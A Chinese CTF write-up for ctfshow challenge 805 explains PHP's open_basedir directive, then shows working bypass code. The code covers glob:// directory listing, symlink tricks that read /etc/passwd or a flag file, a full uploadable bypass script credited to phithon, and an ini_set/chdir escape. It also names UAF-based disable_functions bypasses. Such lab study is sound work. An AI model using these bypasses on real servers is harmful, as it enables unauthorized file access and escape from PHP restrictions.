什么是open_basedir
Limit the files that can be accessed by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off.
When a script tries to access the filesystem, for example using include, or fopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it. All symbolic links are resolved, so it’s not possible to avoid this restriction with a symlink. If the file doesn’t exist then the symlink couldn’t be resolved and the filename is compared to (a resolved) open_basedir.
open_basedir can affect more than just filesystem functions; for example if MySQL is configured to use mysqlnd drivers, LOAD DATA INFILE will be affected by open_basedir. Much of the extended functionality of PHP uses open_basedir in this way.
简单来说就是限制一些文件的读取与执行,包括mysql的一些函数对这些指定文件的操作
如何设置
打卡php.ini搜索open_basedir
关键字
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory
; or per-virtualhost web server configuration file.
; Note: disables the realpath cache
; http://php.net/open-basedir
;open_basedir =
设置当前目录,设置一个目录,多个目录的方法
open_basedir .
open_basedir /tmp/
open_basedir /usr/:/tmp/
绕过的环境
ctfshow 805
<?php
# @Author: h1xa
error_reporting(0);
highlight_file(__FILE__);
eval($_POST[1]);
我们直接执行phpinfo();
PHP Version 5.6
disable_classes:SoapClient,mysqli,mysql,pdo,phar
disable_functionssystem,exec,shell_exec,passthru,popen,fopen,popen,pcntl_exe
绕过open_basedir扫描目录文件
glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约,所以我们可以用它来绕过扫描目录
$a = "glob:///*";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."\n";
}
closedir($b);
}
p神的PHP绕过open_basedir列目录的研究,操作实在太多了
绕过open_basedir读取文件
姿势一
软链接symlink()函数,假如要读取/etc/passwd
。先创建一个链接文件tmplink,用相对路径指向c/d
,再创建一个链接文件exp指向tmplink/../../../etc/passwd
。其实指向的就是c/d/../../../etc/passwd
,就是./etc/passwd
。这时候删除tmplink,再创建一个tmplink目录,但exp还是指向tmplink/../../../etc/passwd
,所以就成功跨到/etc/passwd
了
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
symlink("c/d","tmplink");
symlink("tmplink/../../../../../../ctfshowflag","exploit");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("exploit");
这里能利用p神的自动化脚本,看到这是p神2014年的脚本,而我还在研究利用,真是菜狗落泪了,这个脚本需要我们把它上传上去然后使用
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
姿势二
先创文件夹,在当前目录构造可以..
的ini_set
,然后通过多次chdir('..');
跳转到根目录
mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("ctfshowflag");
姿势三
利用php-fpm绕过
姿势四
利用蚁剑插件绕过,在插件市场下载绕过disable_function(得开全局梯子)
手动测试,下面这些都可以
Json Serializer UAF
PHP7 GC UAF
PHP7 Backtrace UAF
PHP7 user_filter